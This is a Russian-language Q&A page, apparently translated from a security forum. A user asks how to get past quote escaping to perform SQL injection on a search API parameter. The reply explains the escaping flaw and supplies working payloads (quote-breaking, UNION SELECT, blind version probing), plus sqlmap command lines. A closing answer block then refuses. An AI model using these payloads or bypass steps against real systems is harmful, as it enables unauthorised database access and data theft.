SQL-инъекция в API

Вопрос или проблема

Мне нужна помощь с SQL-инъекцией в API.

Веб-сервер IIS 8.5

GET-запрос выглядит так:

...
https://example.com/api/Search?q=Landing

Ответ выглядит так:

HTTP/1.1 200 OK
...
[{"pageId":1,"pageName":"Landing Page"}]

SQL-запрос, куда я пытался сделать инъекцию при отправке обычного запроса, выглядит так:

... LIKE '%Lending%' ...

Теперь, когда я создаю запрос вроде этого:

...
https://example.com/api/Search?q=Landing\'

Ответ выглядит так:

HTTP/1.1 500 Internal Server Error
...
["exceptionMessage":"У вас ошибка в синтаксисе SQL; проверьте руководство, соответствующее вашей версии MySQL, для правильного синтаксиса, чтобы использовать около '%') OR (`Extent1`.`Name` LIKE '%Landing\\''%')) OR (`Extent1`.`TabContent` LIKE '%' на линии 80",]

Ответ с кодом ошибки 500, и кажется, что их механизм защиты дублирует символы \ и ‘.

Теперь, когда я запускаю SQLmap, он не может выполнить инъекцию:

python .\sqlmap.py -r .\request.txt --threads=10 --random-agent --level=5 --risk=3 --dbms=mysql --banner --time-sec 10 --tamper=escapequotes --ignore-code=500 -v2 -p q
....
[INFO] эвристический (базовый) тест показывает, что GET-параметр 'q' может быть инъекционным (возможный DBMS: 'MySQL')
....
[WARNING] GET-параметр 'q' не кажется инъекционным

Я использую скрипт для подмены из-за ‘(Slash escape single and double quotes (e.g. ' -> \'))

И запрос вроде этого:

https://example.com/api/Search?q=Landing\\'

Возвращает этот ответ:

HTTP/1.1 200 OK
...
[]

Также

Запрос вроде этого:

https://example.com/api/Search?q=Landing\\''

Возвращает этот ответ:

HTTP/1.1 200 OK
...
[]

Также

Запрос с одинарной кавычкой возвращает ноль.

https://example.com/api/Search?q=Landing'

Возвращает этот ответ:

HTTP/1.1 200 OK
...
[]

Как обойти эту защиту и успешно выполнить SQL-инъекцию?

Смотря на ваши примерные запросы, похоже, что приложение экранирует ', но не экранирует \. Это означает, что вы можете инъектировать ', чтобы выйти из контекста строки (через \'), но не можете использовать ' в остальной части вашей инъекции (даже если экранировать через \'; что создает проблемы для sqlmap, так что я бы предложил ручную эксплуатацию).

У вас это:

'   -> \'     <- без ошибки, строка правильно экранирована
\'  -> \\'    <- \ экранируется \, поэтому ' выходит из контекста строки, вызывая ошибку
\\' -> \\\'   <- \ экранируется \, ' экранируется \, поэтому без ошибки

Что я бы сделал первым, так это исправил бы запрос. Что-то вроде Landing\'))--x- (вам, возможно, нужно будет настроить количество закрывающих скобок, я исходил из сообщения об ошибке). Это снова должно дать вам 200 и некоторые результаты.

После исправления запроса вы теперь можете инъектировать нужный вам запрос. Landing\')) union select 1 --x- может сработать (альтернатива была бы слепая инъекция, например Landing\')) and substring(version(),1,1)=5--x- (или эквивалент mssql)).

Я предполагаю, что sqlmap сталкивается с проблемами, потому что вы не можете использовать ' в вашей инъекции (за исключением начального \' для экранирования существующего контекста строки). Представьте, например, инъекцию в SELECT 1 FROM table WHERE id LIKE '%[userinput]%'. Инъекция \'--x- работает, так как она дает SELECT 1 FROM table WHERE id LIKE '%\\'--x-%' (что затем выполняется как SELECT 1 FROM table WHERE id LIKE '%\' в базе данных). Но инъекция \' and x = \'test не сработает, так как это приведет к SELECT 1 FROM table WHERE id LIKE '\\' and x = \\'test' (что выполняется как SELECT 1 FROM table WHERE id LIKE '\' and x = \'test' в базе данных, что является недопустимым из-за дополнительного \ перед 'test').

Ответ или решение

Извините, но я не могу помочь с этой просьбой.

Оцените материал
Добавить комментарий

Капча загружается...